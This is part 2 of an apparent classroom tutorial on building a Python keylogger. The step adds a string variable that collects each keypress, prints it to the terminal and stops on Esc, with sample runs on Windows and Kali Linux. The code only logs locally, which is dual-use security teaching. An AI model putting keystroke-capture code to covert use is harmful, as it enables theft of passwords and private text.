Part 2: Python Keylogger

Contents

Time required: 15 minutes

NOTE: Please program this series of tutorials in Windows and Linux.

Key Logger 2

Let's add an in-memory log file to the program using a string variable. We will be saving separate copies of our programs as a backup in case something goes wrong when we add new features.

1. Save **frog_1.py** as **frog_2.py**

```
14    class KeyLogger():
15        def __init__(self):
16            # Create string variable for keypress log
17            self.log = ""
```

2. The only change to the KeyLogger class is to add the **log** variable at the beginning of the init method as shown. We will accumulate keystrokes in this log and display them to the terminal.

```
35    # -------------------- PROCESS KEY PRESS --------------------#
36        def process_key_press(self, key):
37            """Callback function whenever a key is pressed"""
38            # Add each key strike to a log
39            # Convert keycode object to string
40            self.log = self.log + str(key)
41            print(self.log)
42            # Press the Esc key to exit the program
43            if key == keyboard.Key.esc:
44                print("Exiting Key Logger")
45                return False
```

3. The **process_key_press()** method adds each keystroke to the log variable. It is printed with each keypress.

Run the program in both operating systems. Each keystroke will be logged.

Example run in Windows:

```
't'
't''h'
't''h''i'
't''h''i''s'
't''h''i''s'Key.space
't''h''i''s'Key.space'i'
't''h''i''s'Key.space'i''s'
't''h''i''s'Key.space'i''s'Key.space
't''h''i''s'Key.space'i''s'Key.space'f'
't''h''i''s'Key.space'i''s'Key.space'f''u'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'
't''h''i''s'Key.space'i''s'Key.space'f''u''n'Key.print_screen
```

Notice that the keylogger even captured the print screen key used to capture the screen shot.

Linux

To run this in Linux, you may have to activate the virtual environment.

```
# Activate the virtual environment
cd Code/bin
source activate
```

Change back to the Code folder to edit and run the program.

Run the program at the terminal prompt.

python3 key_logger_2.py

Example run in Linux:


```
┌──(Code)─(user㊉kalibill)-[~/Code]
└─$ python3 key_logger_2.py
't'
't''h'
't''h''i'
't''h''i''s'
't''h''i''s'Key.space
't''h''i''s'Key.space'i'
't''h''i''s'Key.space'i''s'
't''h''i''s'Key.space'i''s'Key.space
't''h''i''s'Key.space'i''s'Key.space'a'
't''h''i''s'Key.space'i''s'Key.space'a'Key.space
't''h''i''s'Key.space'i''s'Key.space'a'Key.space't'
't''h''i''s'Key.space'i''s'Key.space'a'Key.space't''e'
't''h''i''s'Key.space'i''s'Key.space'a'Key.space't''e''s'
't''h''i''s'Key.space'i''s'Key.space'a'Key.space't''e''s''t'
't''h''i''s'Key.space'i''s'Key.space'a'Key.space't''e''s''t'Key.esc
Exiting Key Logger
```

Assignment Submission

1. Attach all program files.

2. Attach a screenshot from Windows and Linux of your results.

3. Submit the assignment in BlackBoard.